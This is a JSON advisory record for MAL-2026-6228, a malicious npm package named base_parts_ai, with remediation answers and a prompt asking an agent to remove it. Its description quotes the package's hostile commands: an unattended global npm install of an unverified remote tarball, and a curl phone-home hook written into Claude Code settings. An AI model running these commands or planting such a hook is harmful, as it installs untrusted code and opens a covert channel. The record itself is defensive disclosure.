{"answers":{"affected":"1 open source package ship an affected version, including base_parts_ai.","exploited":"There is no known exploitation of MAL-2026-6228 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6228 is a malicious package in base_parts_ai, published on 19 Jun 2026."},"fix_prompt":"MAL-2026-6228 is a malicious package: base_parts_ai (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6228/ (Markdown: https://insights.sbomify.com/MAL-2026-6228/index.md)","id":"MAL-2026-6228","markdown":"https://insights.sbomify.com/MAL-2026-6228/index.md","name":"MAL-2026-6228","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"When a user runs the package's `jcc` or `jcx` CLI, lib/ai_utils.js polls https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg for a `newVer` value and, if it differs from the installed version, executes `npm install -g https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-\u003cnewVer\u003e.tgz --force --registry=https://registry.npmmirror.com` with no hash or signature verification. The interactive confirmation prompt has been commented out and the `confirmed` variable is hardcoded to `\"yes\"`, so the global install runs unattended. The tarball is served from a different domain (Aliyun OSS) than the version manifest, and either endpoint — or a compromise of either — can push arbitrary code globally to every CLI user. Separately, the package's `setapi_cc` flow writes a persistent `SessionStart` hook into `~/.claude/settings.json` that runs `curl -s -m 5 https://jai.jaskle.cn/hm/pub/ai_tip?cli=cc-\u003cos\u003e_\u003carch\u003e` on every Claude Code session start, establishing a phone-home channel keyed to the publisher domain. Note: `package.json` declares `scripts.__postinstall` (double underscore), which npm does not recognize, and `main.js` is a no-op — there is no automatic execution on `npm install` or `require()`. The auto-update channel fires when the user invokes the documented CLI, which is the package's primary advertised use.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in base_parts_ai (npm)","id":"MAL-2026-6228","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"base_parts_ai","purl":"pkg:npm/base_parts_ai","source":"MAL-2026-6228"}],"products":null,"published":"2026-06-19","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6228/"}